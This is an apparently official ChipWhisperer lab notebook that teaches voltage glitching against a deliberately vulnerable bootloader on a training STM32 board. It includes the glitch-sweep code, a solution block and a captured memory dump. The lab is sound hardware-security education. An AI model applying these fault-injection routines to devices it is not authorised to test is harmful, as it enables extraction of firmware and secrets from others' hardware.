Part 2, Topic 3: Voltage Glitching to Dump Memory (MAIN)¶
NOTE: This lab references some (commercial) training material on ChipWhisperer.io. You can freely execute and use the lab per the open-source license (including using it in your own courses if you distribute similarly), but you must maintain notice about this source location. Consider joining our training course to enjoy the full experience.
SUMMARY: In the previous labs, we learned how voltage glitching can be used for a similar function as clock glitching. We also learned about how it has fewer limitations, but can be less reliable for certain target setups. It also changes a great deal based on the properties of the glitch circuit itself - even changing a wire can have a huge effect.
In this lab, we'll use what we learned in the last lab to again attack the vulnerable serial printing of the bootloader
LEARNING OUTCOMES:
- Applying previous glitch settings to new firmware
- Checking for success and failure when glitching
- Understanding how compiler optimizations can cause devices to behave in strange ways
The Situation¶
You should already know the situation from your previous attempts at glitching this bootloader (as well as what the flaw is). No need to do big long searches for parameters to try glitching at the beginning of the loop, just use values that worked well for the previous tutorial.
Be careful that you don't accidentally put the spot we're trying to glitch outside of glitch_spots
- if you used a repeat > 1, the actual spot being glitched might be at the end or in the middle of the repeat!
Like with the clock glitching version of this lab, we'll be using SimpleSerial V2 to speed up glitching
SCOPETYPE = 'OPENADC'
PLATFORM = 'CWLITEARM'
SS_VER='SS_VER_2_1'
allowable_exceptions = None
VERSION = 'HARDWARE'
CRYPTO_TARGET = 'TINYAES128C'
%%bash -s "$PLATFORM" "$SS_VER"
cd ../../../firmware/mcu/bootloader-glitch
make PLATFORM=$1 CRYPTO_TARGET=NONE -j SS_VER=$2
SS\_VER set to SS\_VER\_2\_1
SS\_VER set to SS\_VER\_2\_1
.
arm-none-eabi-gcc (15:9-2019-q4-0ubuntu1) 9.2.1 20191025 (release) [ARM/arm-9-branch revision 277599]
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Welcome to another exciting ChipWhisperer target build!!
Size after:
+--------------------------------------------------------
+ Built for platform CW-Lite Arm \(STM32F3\) with:
text data bss dec hex filename
4600 124 1292 6016 1780 bootloader-CWLITEARM.elf
+ CRYPTO\_TARGET = NONE
+ CRYPTO\_OPTIONS = AES128C
+--------------------------------------------------------
#!/usr/bin/env python
# coding: utf-8
# In[ ]:
import chipwhisperer as cw
try:
if not scope.connectStatus:
scope.con()
except NameError:
scope = cw.scope(hw_location=(5, 3))
try:
if SS_VER == "SS_VER_2_1":
target_type = cw.targets.SimpleSerial2
elif SS_VER == "SS_VER_2_0":
raise OSError("SS_VER_2_0 is deprecated. Use SS_VER_2_1")
else:
target_type = cw.targets.SimpleSerial
except:
SS_VER="SS_VER_1_1"
target_type = cw.targets.SimpleSerial
try:
target = cw.target(scope, target_type)
except:
print("INFO: Caught exception on reconnecting to target - attempting to reconnect to scope first.")
print("INFO: This is a work-around when USB has died without Python knowing. Ignore errors above this line.")
scope = cw.scope(hw_location=(5, 3))
target = cw.target(scope, target_type)
print("INFO: Found ChipWhisperer😍")
# In[ ]:
if "STM" in PLATFORM or PLATFORM == "CWLITEARM" or PLATFORM == "CWNANO":
prog = cw.programmers.STM32FProgrammer
elif PLATFORM == "CW303" or PLATFORM == "CWLITEXMEGA":
prog = cw.programmers.XMEGAProgrammer
elif "neorv32" in PLATFORM.lower():
prog = cw.programmers.NEORV32Programmer
elif PLATFORM == "CW308_SAM4S" or PLATFORM == "CWHUSKY":
prog = cw.programmers.SAM4SProgrammer
else:
prog = None
# In[ ]:
import time
time.sleep(0.05)
scope.default_setup()
def reset_target(scope):
if PLATFORM == "CW303" or PLATFORM == "CWLITEXMEGA":
scope.io.pdic = 'low'
time.sleep(0.1)
scope.io.pdic = 'high_z' #XMEGA doesn't like pdic driven high
time.sleep(0.1) #xmega needs more startup time
elif "neorv32" in PLATFORM.lower():
raise IOError("Default iCE40 neorv32 build does not have external reset - reprogram device to reset")
elif PLATFORM == "CW308_SAM4S" or PLATFORM == "CWHUSKY":
scope.io.nrst = 'low'
time.sleep(0.25)
scope.io.nrst = 'high_z'
time.sleep(0.25)
else:
scope.io.nrst = 'low'
time.sleep(0.05)
scope.io.nrst = 'high_z'
time.sleep(0.05)
INFO: Found ChipWhisperer😍
scope.gain.mode changed from low to high scope.gain.gain changed from 0 to 30 scope.gain.db changed from 5.5 to 24.8359375 scope.adc.basic\_mode changed from low to rising\_edge scope.adc.samples changed from 24400 to 5000 scope.adc.trig\_count changed from 11710249 to 23290831 scope.clock.adc\_src changed from clkgen\_x1 to clkgen\_x4 scope.clock.adc\_freq changed from 96000000 to 29538459 scope.clock.adc\_rate changed from 96000000.0 to 29538459.0 scope.clock.clkgen\_div changed from 1 to 26 scope.clock.clkgen\_freq changed from 192000000.0 to 7384615.384615385 scope.io.tio1 changed from serial\_tx to serial\_rx scope.io.tio2 changed from serial\_rx to serial\_tx scope.io.hs2 changed from None to clkgen scope.glitch.mmcm\_locked changed from True to False
fw_path = "../../../firmware/mcu/bootloader-glitch/bootloader-{}.hex".format(PLATFORM)
cw.program_target(scope, prog, fw_path)
Detected known STMF32: STM32F302xB(C)/303xB(C) Extended erase (0x44), this can take ten seconds or more Attempting to program 4723 bytes at 0x8000000 STM32F Programming flash...
STM32F Reading flash...
Verified flash OK, 4723 bytes
def reboot_flush():
reset_target(scope)
#Flush garbage too
target.flush()
scope.clock.adc_src = "clkgen_x1"
reboot_flush()
scope.adc.samples = 24000
Again, we're going to use a higher frequency on non-Husky ChipWhisperers. We'll also use the trigger length to get our ext_offset
range:
scope.clock.adc_src = "clkgen_x1"
def reboot_flush():
reset_target(scope)
#Flush garbage too
target.flush()
scope.clock.adc_src = "clkgen_x1"
reboot_flush()
scope.adc.samples = 24000
if PLATFORM == "CWLITEXMEGA":
scope.clock.clkgen_freq = 32E6
if SS_VER=='SS_VER_2_1':
target.baud = 230400*32/7.37
else:
target.baud = 38400*32/7.37
elif (PLATFORM == "CWLITEARM") or ("F3" in PLATFORM):
scope.clock.clkgen_freq = 24E6
if SS_VER=='SS_VER_2_1':
target.baud = 230400*24/7.37
else:
target.baud = 38400*24/7.37
reboot_flush()
scope.arm()
target.write("p516261276720736265747267206762206f686c207a76797821\n")
ret = scope.capture()
trig_count = scope.adc.trig_count
print(trig_count)
cw.plot(scope.get_last_trace())
4236
Like with the clock version of this lab, you'll want to inspect the power trace and glitch near the beginning and end of the loop.
glitch_spots = [i for i in range(1)]
# ###################
# Add your code here
# ###################
#raise NotImplementedError("Add your code here, and delete this.")
# ###################
# START SOLUTION
# ###################
glitch_spots = list(range(trig_count - 2000, trig_count, 1))
if SS_VER == "SS_VER_2_1":
glitch_spots = list(range(0, trig_count, 1))
elif PLATFORM == "CW308_SAM4S":
glitch_spots = list(range(trig_count - 2300, trig_count-1800, 1))
elif PLATFORM == "CWLITEXMEGA":
glitch_spots = list(range(9500, 9650, 1))
# ###################
# END SOLUTION
# ###################
if scope._is_husky:
scope.vglitch_setup('hp', default_setup=False)
else:
scope.vglitch_setup('both', default_setup=False) # use both transistors
def my_print(text):
for ch in text:
if (ord(ch) > 31 and ord(ch) < 127) or ch == "\n":
print(ch, end='')
else:
print("0x{:02X}".format(ord(ch)), end='')
print("", end='')
gc = cw.GlitchController(groups=["success", "reset", "normal"], parameters=["width", "offset", "ext_offset", "tries"])
gc.display_stats()
gc.glitch_plot(plotdots={"success":"+g", "reset":"xr", "normal":None}, x_index="width", y_index="ext_offset")
if scope._is_husky:
gc.set_range("width", 1850, 1901)
gc.set_range("offset", 2000, 2300)
gc.set_global_step([50])
else:
gc.set_global_step(0.4)
if PLATFORM == "CWLITEXMEGA":
gc.set_range("width", 46, 49.8)
gc.set_range("offset", -46, -49.8)
scope.glitch.repeat = 11
elif PLATFORM == "CW308_STM32F4":
gc.set_range("width", 0.4, 10)
gc.set_range("offset", 40, 49.8)
scope.glitch.repeat = 5
elif PLATFORM == "CWLITEARM":
gc.set_range("width", 34, 36)
gc.set_range("offset", -40, 10)
scope.glitch.repeat = 7
gc.set_range("tries", 1, 1) # change this if you want to glitch each spot multiple times
gc.set_range("ext_offset", glitch_spots[0], glitch_spots[-1])
gc.set_step("ext_offset", glitch_spots[1] - glitch_spots[0])
gc.set_step("tries", 1)
#disable logging
cw.set_all_log_levels(cw.logging.CRITICAL)
scope.adc.timeout = 0.2
broken = False
for glitch_setting in gc.glitch_values():
scope.glitch.offset = glitch_setting[1]
scope.glitch.width = glitch_setting[0]
if broken:
break
scope.glitch.ext_offset = glitch_setting[2]
if scope.adc.state:
#print("Timeout, trigger still high!")
gc.add("reset")
#Device is slow to boot?
reboot_flush()
target.flush()
scope.arm()
target.write("p516261276720736265747267206762206f686c207a76797821\n")
ret = scope.capture()
if ret:
#print('Timeout - no trigger')
gc.add("reset")
#Device is slow to boot?
reboot_flush()
else:
time.sleep(0.05)
output = target.read(timeout=2)
if "767" in output:
print("Glitched!\n\tExt offset: {}\n\tOffset: {}\n\tWidth: {}".format(scope.glitch.ext_offset, scope.glitch.offset, scope.glitch.width))
gc.add("success")
broken = True
for __ in range(500):
num_char = target.in_waiting()
if num_char:
my_print(output)
output = target.read(timeout=50)
time.sleep(1)
break
else:
gc.add("normal")
#reenable logging
cw.set_all_log_levels(cw.logging.WARNING)
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
Glitched! Ext offset: 4206 Offset: -34.765625 Width: 33.984375 r0 6720736265747267206762206f686c207a767978210x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x00Don't forget to buy milk!0x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x0080x01@0x000x840x030x000x000x000x000x000x000x000x000x000x000x000x000x000x0C0x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000xE90xA3#W0xAB<0x990x0F0xAA0x85U0xAE0xCB0x8CUoL0x1E0x1E0x08H0xCC0x11j0xD80xAA0xB80xE30xBA0xB50x9DI0xE80x000x9D+0xF90x8AU0x0B0xC40x980x1FA0xC20x1D0xABp X0x0B0x880x020xDC0xC9U0xAF0xC5E0x84G0xE8N0xEDT0xAA0xEBe0xAE10xCAu0xC9oV0xB7T0xAE0xD50xEB\_0xAA+0xB70x1Ez0xC6"0xC20x860xAA0xA60xAAg0xB30xC10xAB0x170xC00x83H0xCE0x950x830xFB0xDB0xA9Qzq!0x91!D50x88U0xCA0x8FN0xAA0x1C0xCD0xAEY0x980xF10xAA0x010x880xAAP0xA20x9C0xFB(0xB2SU0xAA0x030xA8U2Tb?S0x8E0x94T0x9AQs0x86\0xB6R0xA8V.|0xC50x0E0x040xE270xE0!0xBC0x080xD1r0x94/\0xA80xB3F0x9Ew0xB60xFBT0xAAES0x900xE60xA8T0x020xD40x8E0x020x960xA60x94:0xB90xDE*U0xBAE;-0xFA0xA2u0xCE0x100xA60x110xFF0x9AW0x030x8E0x17"U0xDC0x0E/0xA0p0xC20xC80xA00xFAP:0x180xA8F0x9A0xF9Yv0x9C#G 0x0D0xAA<0xF00xD9'0xD5k0xDC0x830xAE]0x0E0xD60x8Be0xACU[0xCA0x840xF2y0xAC0x1C,0xE9t0x9Ce2t0xFAUu&t!0xACL0xD1-0xE5NY0xAAD0x920x050x800xE10x010xAB@0x990xD60xA80x140x110xAC0xF5F0xC50xE00xF90xCA0xFAE0xA80x81QoU0xEE0xA3E0xE20xD70xF20x16/0xD60xF10xE9F0x9F0xB40x1E0x090x830xBA0x15(0x13 a0xAASG0xA71+0x8Bs0xE8U50xA10xD90xABL0xA20xCE0xBA0xBEv0xBAU0xA80xC70xA830x1F0xAF0xD2"C0xA80xD40xA2+0xFD0xCA0xA6i0x9Aq0x8A0xAE0x18z0x940xA20xC1j0x9D;0x99}0xAB0x970xAB\`0xBEM!0xE8}0xAE0xF40xBA0xAA}0xFE0x830xE8[0xA4U0xC90xFB0xF50x8A]0x9E0xB50x990xA90x9CyS80x100xE8[0x930xB2}[0xBC0xC20xE6Cu0x82%n0xF50xA90xF70xBFv0xD50xA2u0xCD0x050xB7|Q0xAA5jq*E0xECc0x19+T0x9C0xE8n.-D0xA4m0x8C0xF72i0x0F0xF0r,0x140xA30xF70x8A*0x17n0xDBxU0xAA0x01GDi0xE90xE60xB70xAA0x14t(0x930x02DrQ*0xFFV0x9320xA4wc5]%?0xA8X0x88E0xCE0x1A0x11(0xC0H0xAAT0xA00x8A0xD00xF00x040xAF0xD830x150x8D0xA80xD10x14%0xC8U#n\0xBD50xBE0x960xBBVw0xE4}0xA70xA20xE50xEAu0xE10xA0a0xA8U0xB6E0xA30xC90xB5k70x8Du0xE10xF2U$0xCCJ{0xBA\0xAA0x1D0x150xEC0x920x150xCA0xD30xAB
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
"V0x110xAAU0xAB50x88W0xB20x1F0x95*0xD5*0x950xEB0xFD0xC20xBFz0xF30xC50x110xFB^0x8B0x8A-;0x9C0x080x05k0x00\0xAA0x7F0xBA0x190x01[0x8A0x8BAf0x07*0xCD0x8A0x05+0xC80x1C0x0B0xA2E0xCCW0xD4\`0x8DK0xDD 60xAB0xAC!.0xC30xAD<0x07S0xAD0x03E~A*0xD50x1E0xAA\_0xDD^0xF10x8C0xC5"0xA9&0xEA0x7F0xC9u0xBA0xD70xE10xAAZ,0x0B;0x1D0xDA0xCBA0x1EX0xEAAH0x84Kb]0xC20xBF[0x8AV0xF70xAF0x13"0x1D0xAF0x1E0xA90xA50x030xAF3*0xE5"0xD5V0xA4L0xD7\0xAA0xD50xA90xEE0xD5G0xDDQ0xDEw0xCF0xCBV \_0x030xB7(0xD30xD30xAEP0xB60xC70xB790xCB^Y0x99W0xCBE0x94/0xD20xA80xDD?0x08t0xAAWE0x8160xEA0x7F0xCD|0xB20xA2E0xFA3"0xD90x030xAA0x9D0xE90x050x960x150x9A0xAE0x89;Y\`0xD6&w0xC30x020x170xAAI0xEA\`0xAA0x0BC0xE20xA0u0xBE0x110x880x9E0xE20xAA]<W0xBE0xE4T0xAE0xEE0xE80xB6C0x15'.0xC5\`0x050x8A0x1D0x1A4=/U$0xFBU0x88Qg0xC00x1C0xBA0x050x930x970xA50xEF0xC20xAF0xA50x020xD10xB20x9E0x850x13%0xBAU/E0xA8rW0xF2Pu0xC6p0xBB0xF00xE20xB29d@0xF30x9C0xD60x06W0xAE\0xA10xA4lJ0x81(E A0x820x15\0x02P[0xA2l0x980x940xF50xA80x1B0xABU0xE80x07:0xFD0xCD0x0E0x91 0x1C0xAC0x1E0x0E*0x990xA00xD5*0x140xAD0x0Cf0xB8E]0x8A0xFC0x9A0x9E0x810xAE0x010xAA0x110xBB0xBC0xFC0xAB0xBD0xEC0x7F0xAC0x120xB4.d0x930xFD0x1A^f0x017:0xC50x880xEB0x10"fm0xA2Q0xA60x070x070xA20xA90xD6"0x1E0x810x8A50x960xB40x8B>0x880xBAS0xA40x060xA20xC0*Y0xD50xA80x1CRt 00xEF0x8C0x010x98e0xC5/Q0x870x8F] 0xC50xA9D0xBB0xF50x810x08^0xE6;.0xFC0xFB0xAA0x0C0xDAp0x8FE0xAA0xDDv0xCE0x110xE80xEE0x1F0xCE9H,0x140xFA0x06j0x070xAA.l0x8F0xFD0xF8O0x870x11|0xAE0x9F0x82V0x98Qz0xF60xFE O0xF4(\'+0x090x9EcIX(0x12I0xA80xFC{uj~0xC2@m0xFBG0xE20xC5.0x19t0xAC0xBF0x82jc0x9A0x1D}0xAE0xD70x0C0xD50x1AT0xEE0x05^770xEB0x950xEAus0x06R 0xD50x810xDC0x980xEAE0x960xD20xD50xA80xD50xAA/0x910x8EW0xFA0x9530xC880xA80x150xEA0xB30xDEU0xCB0xE30x0E0xCE0x850x9AT0xEA]~0x8Fw0xE20xAFu0xFAW0x020x18T0xBAxu0xB20x1F0x00U0xCF0x93T0xB1S*0xB90x9BE0x9B0xB80xD70xAC0xB90x0CD0xEBp0xFD0xD70xCD*0xAAG0xF2V]0xAAr0x10p0xD2o ?0xDD0xAA0x050xEC0xD50x8FF0x040xCCE0xCC0x050xE20x910xEA?0xD80xCAm0x150xCE]0xEA:0xE70x99ybZG0x1140xC3Y"@0xA3u+0xA0u:0x070x8BfB0x0E0xC10x12]0x0E0x88A0xAAU0xC90xB80xD00x98ac:0xC8)1zh i0xAB0xD5R0xADU0xA8E0xBAU0xEE*U0xDF0xE70xD50xA80x150xAF0xAB0x100x800xBD0xAAD0xE4U0x810xC0@O60xFA0xDD0xAD0xA6P0xDC40xEAU0xA0W0xED+}0xAC0xA2U0xFBU0x91&0xF50xA60x8F.g0x080x8Bem0x040xBEW~M0xA30x0C0xDD0xE80xD4K]0xA30xA20x15\_0xD1U(0xC7"0xBE0xC40xA30x10<0xC9#0x180xE9g0x92@0xF50xA3W0xA00x8Aq0x9EU0xF50xFA0xDC0x0E0xCA0x9050xEE0xAA0x90&0x7F0xEB0xD10xBDl0xD30x93C0xEAW0xAA0xDD0x9AR0x110xCA0xC80x870xB2s(0xF80x910xA9}0xE90xBE0xAB0x940xEB0xB00xA9:0xE50xBE},0x85D0xAF0x110x83U0xBB0x14EN0x1F0x9C0x9A0xCD*u0xCF0xAA0x00r0x850x98U0xEE0x830x0F!t0xABV0x170xCDi>\_0xB00xD50xA90x170xE20xAB0xF60xBAQT0xD10xD9%0x8D0x100x8AA0xAA0x150xFB0xD40xAF0x1AY0xE20xEF0x18a0xEA0xAA4n0xC10xC9q0xCEu0x910xAD}0xE1p0xD00xEA0xD5T0xAEP0xAA&0xA90x07 0x84-0x1A0xD70xA60xA50x8B0x050xD70xA81K0xD10xE8\0xA00x92 30x88A0xF40x970x9A T0xEA0xD60x020x06.0xC10x104e0xBA0x850x0EK0x800xABD0xE90x040xAAU0xEB0xF20xFA0x910x0D0xFB\0x91T0x1FU0xAF0x100xAEk0xA700x8A0xBC,0xBBqpd0xE50xB20x14e0x97j0xB40xEE0xA20xA60x9B"0xABg0x9F0x090xCC0xE50x18U0xD50xE60x8A0xBF0x880x09!Y%0xB80x000xFB!0xA8:0xAE0xC10xB50x0D0x85q0xF90x15B0x050xE80xA30x930x160xA80x030xCA0xA2|0x11=L0x880x810x850xB10x8B0xAB0x8F0xA20xAA/J0xEA(0x0DWb0x98e0xC90xC70x820xA30xAB0xE50x0F 0x8A/0x870x9D30xA50x8A0xB60xF2B^0xFE0xE7HW0xC2w0x06L0xE20xAF,30x88&0xE7c\0xC2UJ0x990x10~Hj0xAA0x1E0xEA0xB9:0xBAU0xD5w0x1350xA40xD10x9E0xA30xF730xBE;0xA80x930xFA'0xF00x0F]0x04Q]%0x0E0x900x8B0xFC0xC5@pA0x130x1E0xAB0xA3l0x820xED0xAAA0x160xDD0xEAe0xD40xD510xB90xCE0xBD0x130xD30xD50xE60x960xD00xE50xC70xFA0x920xA20x020xA6;0xB10xD30xC3Y0x930xAB0xBB0x8A0xE9w10x8Fqg0x980xAFT#0xB90xAF0xBA0xCE20xEB0xE00xFD0xF70xE70x7FD0x9D7u0xE40xEE#>*0xAA/0xF80x9ES0xA5t0xC40xDDA0x180x8A0x080x83j0x860xB9j0x000x140xF40xC7@wWE=;0xAD0xA20x1B0x7FU0xC3T0xAF?0xA20xFE0x8C{0xB60x08DWGTHe0x1DWMn0x88 0x9E0xA00x8E'0x1D0xE00x9E70x130x8D0xCDu#(0x8A\`0xC20xBC0x880xAEM0x0D0xD4^0xF20xFC0xCD$0x8A0xF80x0280x8B(0x8B0x880xD3l0xC20x980xA30x020xB60xB00x95h0x15qE0xE10xCC$0x8D+0x1En0xC10xDB0xCC0xAE0xF50xD80xC5uT0x97wm&0xBA0x980xA60xA60xAA0xBA0x9EOc9\_0xD4\`0x910x1D0x18z0x880xB50xE00x000x8F0xAA0x0E0xF6Q0xB00x1D0xDF6t0x910xD40x00h80xFA0xEF0xA890xAB0xD5d0x0D]UxrU0xE50xA20xB30x930xFB0x0D0x800xBBy0x1DAwA0xC50xF5ga0xCC0xCA0x130xBA0x820xA10xA8h0xC50xDDW 0xAA0xBC0xAAEU0xFE0xE50xC0PP\_0x01(0xCAN0xB80xED0xA00x84\0xD4.UT[E0x7F0xCC0xF20xE20xAE0xF4"0x030xAA0x160x850x17@U0xB50xD70x14$0xA60xBE&0x190xA70xFB0x8BD0x85T\O5UW'0x960xC20x1EO0x1CY0x880x8A0xAEa0xDE0xF80x940x9C0xFA0x970x950x140xD60xFC0x130x8C=0xFB0x9B(&0x8E0xAA0x920xF20xC7i0x80S0x0C0xF80x8D0xF40xAE0xCA0xAA0xB00xE00xBB0xDA0xEE0xC4U0xC10xED0xD10xFD0xDBW0xAD]0x8A/0xA2/0xB70xD60xFD0x15Tw0xED.0xA20xA80xD9U0xA10xA50xF5q0xD40x950xF90xBB0x920xA60xDC0xD50xBE0xF2+0xE30xDDveE0xEDXw^0xBB(0x7F0x8E0xDA0xA1?0xBC0xDD0x910x7F0x0D]0xDC\e00x880xB50x8D0xE80x980xBF0xF80xF50x980xD110xBF0xD0|0xFD0xAB0xA80xA2x0xA80x880xAD>pG0xD5^0xDF0x15ewi[0xACj@0xD1b0xC10xE40xF7*0x80S0xA20xAB0x1Ee0xD7=QqT0xB5Wr0xD00xAD0xDF60xE10xBB#F0xDC5'0x150xC00xF6W0x8F0xEE0x1F0x1A 0xAE0xFF0x0EO?UJ0x0EGU0x160xAE0xD2W>0x880xC20xB380x140xDBW|0xB60x8E0xAA0xAAWU0x1A=Re0x18q"-0x1A0xC8"h0x1C0xB10x11w]70x150x070xEFW0xB00x860xCFr0xCC0x0B0xEA0xCA0xD4YvX0xDF0x1F0xF70x070xCE0x880xB60x8A0xEB0xBE0xCF%GD0xC70xB7Wuu0x140xFA0xE60xE90xAATQ0x17h0x9A0xEBE0x1F0x14i00x0F0x9Bb0xAA0xF10xAAb0xBBsjs0x170xD50x020xBE0xAA+0xBA0xF7??u0xB1]G0xA620xA70xAE0xAC0x8A+0x8280x940xFD0x86|0xE90xEF0xA50x98H0xAA0xA60xAA0xE8n0xAB0xAEOi-0xFDM0x040xD1a0xAE.0xA90xA90x0C0xA0z0xEA0x190x11GDUEQU*0x810x060x0ETR@%0x880xE80x8A0x020xAB0xEB0xA90xBDM0xF30xCC0x84ew0xF60x1Di0xA50xFA0xFE1}~0xACP0xC5U0xFDU0x87?0xB40xA90x8F0x980xA80xCF0xB70xDE0xE10xA50xB7U0xF1U0xB5[U0x0B0xA50xC90xCB0xAA0xD30xFA0xB00xD00xD50xD40x170xA40xBA0xA8*W0x1D0x050x12r]5IR~0xAA0xA800xBB0x0B0xFFRu]=}[W0xDDx[:0xBF;0x82#0xBBQUC0x170xB40xC4WN0x1BF0xD30x8E0xAC0x980x0D0xCB0xCB0xEE:0x15A0xFF0x1F0xD5A^n0xEF0xBA0x180xEAZ0xEA0x890xAEM|0xC10x9EmG40xEF0xAF0x020xB20xEC0x1B0xA80xAA30x15A0x150x18X0xD70x84E0xE90x040x9A0x8E)0xAB>.0x0DE30x060xBA0xEA0xCA0x8A0x85L0x1C0xF5V0xFF0x040xF10xAE*0x0C0xB20xC40xAF/0xA2T0x070x1F10x950xE50x84u0xBD0x86.:0xAE0x800xAA0xF20x88L0x110x920x840xDFP0x150x880x9A0xAA0xA80xAA0xFF0xA20xAF0x18yVTuQBl pB8E0xEFX0x110xEF0xEF*20xAF0x8B0x820xAE0xE0E0x077UW\`0xA50x0260xE80xE20xA00xB40xB30xDA0x100x160xF4X0xD50x150x97Z0xBB-0xB7i0x8E0xA00xA30xAE0xCD0x050xD6O0xA4a0xD5u0x98(0xA8|0xAB0x870x8E0xA80x810x190x130x1D0x82*0xEA0xAA0x940xC5z0x180x9DG0xD70x150xB80xCB0xE30xAE
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
0xC20x110xAF0xFE0xA7*n0xEA0xD70x070x7F@0xC00xED|U0xA4*d0x02eaET0xCC0xA90x9E0xCA0x8B0x8E0xFB0xAEY\_0xD00xD50x090x0F0xFD0xB70xA20xBE0xAE0xA80xEA0x080xAB0x0E0x91D %0x940xC10xFC0xD40x830xAB,0xF80xF00xB30x9E0xE00x91A0xB5Q0xF40x970x04%0xEE0x8C.0xA20x8080x9E0xAB0xD60x150x1760x82z0xAA0xAE0xD9\_0xDB0x170x950xF50x1Dp0x98t0x9A<0xB50xAA0x1A0xA2U0xD30x1C0xB9[9=0xF50x1B0xB80xAA0xA90xFB*|0x930xFBX0xDD0xD7WAYm0xA2.50xAF0xD2"80xA0Z0xCD0x140xA6P0xD55M 0xDD0xA10xE2uOW0x170xBB0x120xBA0xBF0x8B0x8D0xA30xB8K0x150x86~70xCB 0xBC/0xAB0xAB0xBE0x070xBB?0xC3[1m0xC40xD40xF00x050xA70xB220x8D0xA20x81u0xEA[0x950xF40xDDAC0xF3Tx0xBD0x970xBE0xC890xEA0xAC25w0x05Y0xC5x0x14\_0xF70xAA0x060xFA'0xFBR0x8AW0xB1R0xD50xBA0xAE0xAA0xE20xD00xF3]0xD70x1Fu0xEF0xA50x820xA00xEA0xA20xA2x0xAD0xA2#0xD50x890xE50xF5hu0xE730xA80xA20xA60xBE0xEBo0xA1%UWu=0x85|0x150x0E0xB30xB6" 0xAA0xE20xEF0x01m0x130x10T0x110xD20xD70x8A0x8B0x920x880xD30xEA0x030x8E0xBA0xCA0x820xFA{0xABp's0xE7T0xDE0xD70x1DL0x850xDA0x0D0x020xEA0x0D0xC90xAC0xFB0x03M0x16uTL]0xD10xAA0xE60xE20x810xB20x990xC9A0xD3U0xC8U0xD1]0x00u0xBB0xF30x88> z0xE20x830x11Q0x1180xA3 #0x8A'0x0F0x14\_K^0xF5C0xABJ$0xE2 0x8C0xA30xA2EN0x15Q0x1D0xCF0x97]0x180xA6.0xFA0x9F0xE00xDE0xD40x9DS]0xD30xD50xE40x830xDDE0xE10xC60x85v0x9410xA70xE20xD00xA80xAF0xA70xB8(]0xDE0x9CM0x980x7F0xDD0xD50x000xEE0xDE0xEB0x02k0xC60x94t?0x950xD0PuUQ0xB090x9C0x9A0x15E0xD50x020x100x030xAE(0x8E0xDE0xF20xB00x15T0xD7@0xDF0x050xC00x150xBB0x0B0xE0*0xAA0xA8\`0x9A0xD7\E0x02'U0x18}>0xAA0x9A0xE1(0x9E0x1E0x92\`0x170x140x96PN0x04A0xBEn0x820xE30xCB0xBA*0xEAG50x170xC40xA80xAA*0xCAD0xE7{0x16b0x0Dv0xDD0xAB0x8C0xFAn0xB30xB9 -W0xF5e0x1D0xCDUQ0xD70xA80x1C(0xB80xB90x9B0x9B.]0x14SUVS0xDB;80xAA0x8A0xA90x9B0xA30xDEj0x9C0xD3}u|T0x0Fu0xA80xE2-0xE10xD50x1C0x06\_60x9E0xAA0xFF0xEE0x1A0xA7ct 0xBFuC0x1BCT0xAA0xBA 0xC60xF0'0x11G0xCAY0xFB0xA60x8A[*0xC90xBE0x89U]^0x150x8A0xE90xA20xAAU0xF90xB4a60xF7w0xEF0x920xEB0xF60xA20xEA0xD2^0xEE0xDB0xD60x150xE5W0xC90x05U0xC6j0x870xEB&0x900x860x8E0x10uW0xDA0x9D0x960x98b 